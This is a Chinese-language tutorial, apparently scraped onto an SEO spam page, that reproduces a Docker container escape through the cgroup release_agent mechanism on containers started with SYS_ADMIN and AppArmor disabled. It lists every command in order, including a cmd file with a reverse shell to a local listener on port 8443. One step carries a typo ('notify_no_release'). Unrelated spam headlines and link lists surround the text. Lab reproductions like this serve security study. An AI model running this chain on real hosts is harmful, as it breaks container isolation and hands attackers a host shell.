当前位置: 首页 > news >正文

政府网站建设原则 统筹规划免费营销软件网站

政府网站建设原则 统筹规划,免费营销软件网站,云南做公司网站多少钱,网站信息备案变更 哪里做1.漏洞原理Docker容器不同于虚拟机,它共享宿主机操作系统内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离。若启动docker容器时给主机一个--cap-addSY…

1.漏洞原理

Docker容器不同于虚拟机,它共享宿主机操作系统内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离。

若启动docker容器时给主机一个--cap-add=SYS_ADMIN的权限,攻击者可以在容器内通过挂载宿主机cgroup,并利用cgroup notify_on_release的特性在宿主机执行shell,从而实现容器逃逸。

注释:

cgroup:限制资源分配的技术,限制docker的特定资源

Linux下SYS_ADMIN权限:允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等

notify_on_release特性:这个参数值是Boolean型,1或0。分别可以启动和禁用释放代理的指令。如果notify_on_release启用(即值为1时),当cgroup不再包含任何任务时(即,cgroup的tasks文件里的PID为空时),系统内核会默认执行release_agent参数指定的文件里的内容。

2实验环境

系统环境:ubuntu

docker版本:18.09

挂载的ununtu版本:18.04

3漏洞复现

3.1安装Ubuntu docker 镜像

命令:

docker pull ubuntu:18.04

3.2 SYS_ADMIN的权限运行ubuntu容器

命令:

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04 /bin/bash

--security-opt apparmor=unconfined这两个选项默认的开启AppArmor配置,保证了docker以严格模式运行使用权限限制较高,改为unconfined表示表示去除Docker默认的AppArmor配置,即不开启严格模式运行容器。

结果:

3.3查看docker添加的权限

命令:

cat /proc/$$/status | grep Cap

结果:

查看CapEff的具体权限

命令:

capsh --decode=00000000a82425fb

结果:

其中SYS_ADMIN权限添加成功

3.4挂载cgroup及其选项

命令:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp 

结果:

查看挂载

命令:

ls /tmp/cgrp

注意挂载完成宿主机的memory后主要是为了成功设置notify_on_release为1 以及在release_agent中加入文件。

3.5在cgroup中新建一个子系统

新建cgroup子系统是为了防止影响宿主机的正常运行

命令:

mkdir /tmp/cgrp/x

将使用x文件作为POC操作的主要目标

3.6设置notify_on_release为值1

命令:

echo 1 > /tmp/cgrp/x/notify_no_release

结果:

3.7将release_agent指定为容器在宿主机上的cmd文件

3.7.1寻找容器路径

由于最后需要运行的为release_agent中的内容,文件的位置在宿主机上所以需要寻找宿主机上容器的路径以便于反弹release_agent中的内容

命令:

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

结果:

3.7.2写入shell文件cmd到容器路径中

在这个目录里创建一个cmd文件,并把它作为/tmp/cgrp/release_agent参数指定的文件

命令:

echo "$host_path/cmd" > /tmp/cgrp/release_agent

结果:

3.8创建写入cmd文件

应该在docker的根目录下创建原因:由于docker共享宿主机磁盘即docker在系统下有自己的文件夹,所以docker的根目录下创建的文件也会体现于系统中。

命令:

echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/127.0.0.1/8443 0>&1" >> /cmd   #使用同一台宿主机8443端口进行shell回弹监听

结果:

在宿主机中查看cmd文件创建成功。

3.9给cmd文件执行权限

chmod a+x /cmd

3.10使用本机进行回弹端口监听

重新打开一个会话用于回弹端口监听

命令:

nc -lvvp 8443

3.11执行cmd文件

命令:

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

该命令启动一个sh进程,将sh进程的PID写入到/tmp/cgrp/x/cgroup.procs里,这里的\$\$表示sh进程的PID。在执行完sh -c之后,sh进程自动退出,这样cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行,即自动执行cmd文件。

3.12查看回弹监听结果

查看权限

宿主机成功回弹,逃逸成功。

http://www.mmbaike.com/news/31524.html

相关文章:

  • 百度新闻源网站外贸业务推广
  • 西安做网站服务ks免费刷粉网站推广
  • 天津建设局网站首页互联网整合营销推广
  • 内部网站建设党委中文搜索引擎排名
  • 手机建设网站廊坊网站建设公司
  • 中山做app网站公司哪家好网址查询
  • 绵阳汽车网站制作变现流量推广app
  • 上海门户网站论坛网站建设7个基本流程
  • c 转网站开发域名注册需要多少钱?
  • 北京企业网站建设推荐seo人员招聘
  • 有没有一个网站做黄油视频黄冈seo顾问
  • 可以自己做网站的软件百度一下你就知道下
  • 敦化市住房和城乡建设局网站广州疫情最新情况
  • 淘客推广个人网站怎么做企业网站推广的方法有哪些
  • 哪些网站可以找到做海报的素材线上推广的渠道有哪些
  • xxx网站策划书上海网站关键词排名优化报价
  • 中国最好的网站制作济源网络推广
  • wordpress点击图片不显示不出来优化公司
  • 网站建设费做什么会计科目网络营销的一般流程
  • 公司网页怎么做的seo收录排名
  • 杭州市建设信用网网站seo综合查询 站长工具
  • 网站建设哪家强营销型网站
  • 平台网站模板 优帮云免费打广告平台有哪些
  • 外汇申报在哪个网站上做百度推广联盟
  • 口碑好的网站建设价格qq引流推广软件哪个好
  • 网站备案完成后该如何做外链发布软件
  • 无锡做网站seo百度上做推广怎么收费
  • 靠广告赚钱的网站备案推广关键词排名
  • 银川做网站哪家好公众号关键词排名优化
  • 野花香视频在线观看免费高清版长沙关键词优化新行情报价